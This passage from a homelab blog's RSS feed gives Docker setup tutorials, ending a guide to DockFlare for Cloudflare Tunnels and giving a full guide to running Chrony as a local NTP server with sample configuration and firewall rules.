<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Safe by Default</strong>: TLS encryption, no open ports, and access rules built-in.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>User-Friendly UI</strong>: Visualize tunnels, view logs, and manage configurations in a web dashboard.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>DevOps Ready</strong>: Works seamlessly in CI/CD pipelines or home labs.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-how-to-install-dockflare"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> How to Install DockFlare</h2>



<h3 class="wp-block-heading" id="h-requirements"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9fe.png" alt="🧾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Requirements</h3>



<ul class="wp-block-list">
<li>Docker and Docker Compose</li>



<li>A Cloudflare account</li>



<li>A domain connected to Cloudflare</li>



<li>A Cloudflare API Token with:
<ul class="wp-block-list">
<li>Zone DNS edit</li>



<li>Zero Trust policy management</li>



<li>Tunnel management</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading" id="h-step-1-create-your-project-directory"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c1.png" alt="📁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 1: Create Your Project Directory</h3>



<pre class="wp-block-code"><code>mkdir dockflare &amp;&amp; cd dockflare
</code></pre>



<h3 class="wp-block-heading" id="h-step-2-create-env-file"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 2: Create <code>.env</code> File</h3>



<p class="wp-block-paragraph">Create a file named <code>.env</code> with the following contents:</p>



<pre class="wp-block-code"><code>CLOUDFLARE_API_TOKEN=your_token_here
CLOUDFLARE_ACCOUNT_ID=your_account_id
CLOUDFLARE_ZONE_ID=your_zone_id
TZ=Asia/Kuala_Lumpur
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f512.png" alt="🔒" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Keep this file private!</p>
</blockquote>



<h3 class="wp-block-heading" id="h-step-3-create-docker-compose-yml"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 3: Create <code>docker-compose.yml</code></h3>



<pre class="wp-block-code"><code>version: '3.8'

services:
  dockflare:
    image: alplat/dockflare:stable
    container_name: dockflare
    restart: unless-stopped
    env_file:
      - .env
    ports:
      - "5000:5000"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - dockflare_data:/app/data
    labels:
      - cloudflare.tunnel.enable=true
      - cloudflare.tunnel.hostname=dockflare.yourdomain.com
      - cloudflare.tunnel.service=http://dockflare:5000

volumes:
  dockflare_data:
</code></pre>



<h3 class="wp-block-heading" id="h-step-4-deploy-dockflare"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 4: Deploy DockFlare</h3>



<pre class="wp-block-code"><code>docker compose up -d
</code></pre>



<p class="wp-block-paragraph">Access the UI: <a href="http://localhost:5000/">http://localhost:5000</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-exposing-a-docker-service"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Exposing a Docker Service</h2>



<p class="wp-block-paragraph">Here’s an example of exposing a service like <code>myapp</code> running on port 8080:</p>



<pre class="wp-block-code"><code>services:
  myapp:
    image: myapp:latest
    labels:
      cloudflare.tunnel.enable: "true"
      cloudflare.tunnel.hostname: "app.yourdomain.com"
      cloudflare.tunnel.service: "http://myapp:8080"
      cloudflare.tunnel.access.policy: "authenticate"
      cloudflare.tunnel.access.allowed_idps: "your-idp-uuid"
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> This will automatically:</p>



<ul class="wp-block-list">
<li>Create a Cloudflare Tunnel</li>



<li>Point your subdomain to it</li>



<li>Enforce secure login</li>
</ul>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-add-non-docker-services"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" alt="🌍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Add Non-Docker Services</h2>



<p class="wp-block-paragraph">Want to expose your home router or NAS?</p>



<ol class="wp-block-list">
<li>Go to DockFlare UI.</li>



<li>Click <strong>&#8220;Add Hostname&#8221;</strong>.</li>



<li>Enter:
<ul class="wp-block-list">
<li>Hostname (e.g., nas.yourdomain.com)</li>



<li>Internal IP/port</li>



<li>Access policy (bypass/authenticate)</li>
</ul>
</li>



<li>Done!</li>
</ol>



<p class="wp-block-paragraph">This works for <strong>any service</strong>, not just Docker.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-configuring-zero-trust-access"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Configuring Zero Trust Access</h2>



<p class="wp-block-paragraph">To secure your services:</p>



<ul class="wp-block-list">
<li>Go to <a href="https://dash.teams.cloudflare.com/">Cloudflare Zero Trust dashboard</a></li>



<li>Add an identity provider (Google, GitHub, etc.)</li>



<li>Use the IDP UUID in your container labels</li>



<li>Example:</li>
</ul>



<pre class="wp-block-code"><code>cloudflare.tunnel.access.policy: authenticate
cloudflare.tunnel.access.allowed_idps: abc123-def456
cloudflare.tunnel.access.session_duration: 8h
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-advanced-tips"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Advanced Tips</h2>



<ul class="wp-block-list">
<li>Expose multiple hostnames:<br><code>cloudflare.tunnel.hostname=api.domain.com,admin.domain.com</code></li>



<li>Customize session duration:<br><code>cloudflare.tunnel.access.session_duration=12h</code></li>



<li>Monitor logs via the web UI or <code>docker logs dockflare</code></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-resources"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4da.png" alt="📚" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Resources</h2>



<ul class="wp-block-list">
<li>GitHub: <a href="https://github.com/ChrispyBacon-dev/DockFlare">ChrispyBacon-dev/DockFlare</a></li>



<li>Docker Compose Docs: <a href="https://docs.docker.com/compose/">docker.com/compose</a></li>



<li>Cloudflare Tunnels Guide: <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/">developers.cloudflare.com</a></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-conclusion"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c1.png" alt="🏁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Conclusion</h2>



<p class="wp-block-paragraph">DockFlare is a game-changer for developers, sysadmins, and homelabbers who want an easy, secure, and automated way to expose their applications to the web. With support for Cloudflare Tunnels, Zero Trust Access, DNS automation, and a clean UI—it&#8217;s the only tool you&#8217;ll need to publish your services safely.</p>



<p class="wp-block-paragraph">No more port forwarding. No more SSL headaches.</p>



<p class="wp-block-paragraph"><strong>Just Docker + DockFlare + Cloudflare = Done. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></strong></p>
<p>The post <a href="https://hamradio.my/2025/05/dockflare-securely-expose-docker-services-with-cloudflare-tunnels/">DockFlare: Securely Expose Docker Services with Cloudflare Tunnels</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/05/dockflare-securely-expose-docker-services-with-cloudflare-tunnels/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to Set Up Chrony as a Local NTP Server Using Docker</title>
		<link>https://hamradio.my/2025/05/how-to-set-up-chrony-as-a-local-ntp-server-using-docker/</link>
					<comments>https://hamradio.my/2025/05/how-to-set-up-chrony-as-a-local-ntp-server-using-docker/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 18 May 2025 14:28:00 +0000</pubDate>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[network time protocol]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[chrony]]></category>
		<category><![CDATA[chronyd]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[ham radio tools]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[local network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[ntp]]></category>
		<category><![CDATA[raspberry pi]]></category>
		<category><![CDATA[system admin]]></category>
		<category><![CDATA[time server]]></category>
		<category><![CDATA[time sync]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7390</guid>

					<description><![CDATA[<p>In a local network where you want to keep your devices synchronized with accurate time, running a lightweight and efficient NTP server is essential. Chrony, a modern alternative to ntpd, is a great choice and in this guide, I’ll show you how to set it up inside a Docker container that fetches time from global [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/05/how-to-set-up-chrony-as-a-local-ntp-server-using-docker/">How to Set Up Chrony as a Local NTP Server Using Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">In a local network where you want to keep your devices synchronized with accurate time, running a lightweight and efficient NTP server is essential. <strong>Chrony</strong>, a modern alternative to <code>ntpd</code>, is a great choice and in this guide, I’ll show you how to set it up inside a Docker container that fetches time from global sources and distributes it across your LAN.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-why-chrony"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Chrony?</h3>



<p class="wp-block-paragraph">Chrony is:</p>



<ul class="wp-block-list">
<li>More accurate than <code>ntpd</code> in many conditions (especially with intermittent connectivity)</li>



<li>Lightweight and easy to configure</li>



<li>Ideal for both clients and servers</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-what-you-ll-set-up"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What You&#8217;ll Set Up</h3>



<ul class="wp-block-list">
<li>A <strong>Docker container</strong> running Chrony</li>



<li>Configured to <strong>sync with global NTP servers</strong></li>



<li>Act as a <strong>time server for your LAN</strong></li>



<li>With optional <strong>logging and control access</strong></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-step-1-create-a-dockerfile-for-chrony"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f1.png" alt="🧱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 1: Create a Dockerfile for Chrony</h2>



<p class="wp-block-paragraph">Start by creating a simple <code>Dockerfile</code> to build a minimal Chrony container.</p>



<pre class="wp-block-code"><code># Dockerfile
FROM debian:stable-slim

RUN apt-get update &amp;&amp; \
    apt-get install -y chrony &amp;&amp; \
    apt-get clean &amp;&amp; \
    rm -rf /var/lib/apt/lists/*

COPY chrony.conf /etc/chrony/chrony.conf

EXPOSE 123/udp

CMD &#91;"chronyd", "-d", "-f", "/etc/chrony/chrony.conf"]
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-step-2-create-the-chrony-conf"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 2: Create the <code>chrony.conf</code></h2>



<p class="wp-block-paragraph">Here’s a sample <code>chrony.conf</code> tailored for <strong>local server use</strong> and syncing with global time sources:</p>



<pre class="wp-block-code"><code># chrony.conf

# Time sources (use pool.ntp.org or your regional servers)
server 0.pool.ntp.org iburst
server 1.pool.ntp.org iburst
server 2.pool.ntp.org iburst

# Allow all clients on your LAN (edit this according to your subnet)
allow 192.168.1.0/24

# Local stratum fallback if Internet is down
local stratum 10

# Drift file to track clock error over time
driftfile /var/lib/chrony/chrony.drift

# Log tracking data
log tracking measurements statistics

# Log files location
logdir /var/log/chrony

# Optional: control access
cmdport 0  # Use 0 to disable remote control; use 323 if needed
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Replace <code>192.168.1.0/24</code> with your actual LAN subnet.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-step-3-build-and-run-the-docker-container"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 3: Build and Run the Docker Container</h2>



<pre class="wp-block-code"><code>docker build -t chrony-server .
</code></pre>



<p class="wp-block-paragraph">Now run the container with:</p>



<pre class="wp-block-code"><code>docker run -d \
  --name chrony \
  --restart unless-stopped \
  --network host \
  --cap-add=NET_BIND_SERVICE \
  chrony-server
</code></pre>



<h3 class="wp-block-heading" id="h-explanation"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Explanation:</h3>



<ul class="wp-block-list">
<li><code>--network host</code> allows the container to bind directly to port 123/UDP</li>



<li><code>--cap-add=NET_BIND_SERVICE</code> is required to bind to low-numbered ports like 123</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-step-4-test-your-ntp-server"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50e.png" alt="🔎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 4: Test Your NTP Server</h2>



<p class="wp-block-paragraph">From a client machine on your LAN:</p>



<pre class="wp-block-code"><code>ntpdate -q &lt;chrony-server-ip&gt;
</code></pre>



<p class="wp-block-paragraph">or</p>



<pre class="wp-block-code"><code>chronyc sources -a
</code></pre>



<p class="wp-block-paragraph">You should see that the time is being served and synchronized.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-optional-run-as-a-local-time-authority"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4cc.png" alt="📌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Optional: Run as a Local Time Authority</h2>



<p class="wp-block-paragraph">If you want to run <strong>fully offline</strong>, or ensure internal time continuity even without internet:</p>



<ol class="wp-block-list">
<li>Remove the <code>server</code> lines from <code>chrony.conf</code></li>



<li>Set: <code>local stratum 8</code></li>



<li>Start the server with a <strong>stable internal clock source</strong></li>
</ol>



<p class="wp-block-paragraph">This makes your Chrony instance a <strong>local time authority</strong> for your network.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-firewall-notes"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Firewall Notes</h2>



<p class="wp-block-paragraph">Make sure UDP port <strong>123</strong> is allowed <strong>inbound</strong> from your LAN on your Docker host:</p>



<pre class="wp-block-code"><code>sudo ufw allow proto udp from 192.168.1.0/24 to any port 123
</code></pre>



<p class="wp-block-paragraph">Or for <code>iptables</code>:</p>



<pre class="wp-block-code"><code>iptables -A INPUT -p udp -s 192.168.1.0/24 --dport 123 -j ACCEPT
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-conclusion"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ce.png" alt="📎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Conclusion</h2>



<p class="wp-block-paragraph">With this setup, you&#8217;ve created a <strong>portable, containerized NTP server</strong> using Chrony that:</p>



<ul class="wp-block-list">
<li>Syncs with global servers</li>



<li>Serves accurate time to all local devices</li>



<li>Works even if your external internet connection drops</li>
</ul>



<p class="wp-block-paragraph">Perfect for <strong>homelabs</strong>, <strong>IoT networks</strong>, or <strong>offline environments</strong>.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://hamradio.my/2025/05/how-to-set-up-chrony-as-a-local-ntp-server-using-docker/">How to Set Up Chrony as a Local NTP Server Using Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/05/how-to-set-up-chrony-as-a-local-ntp-server-using-docker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
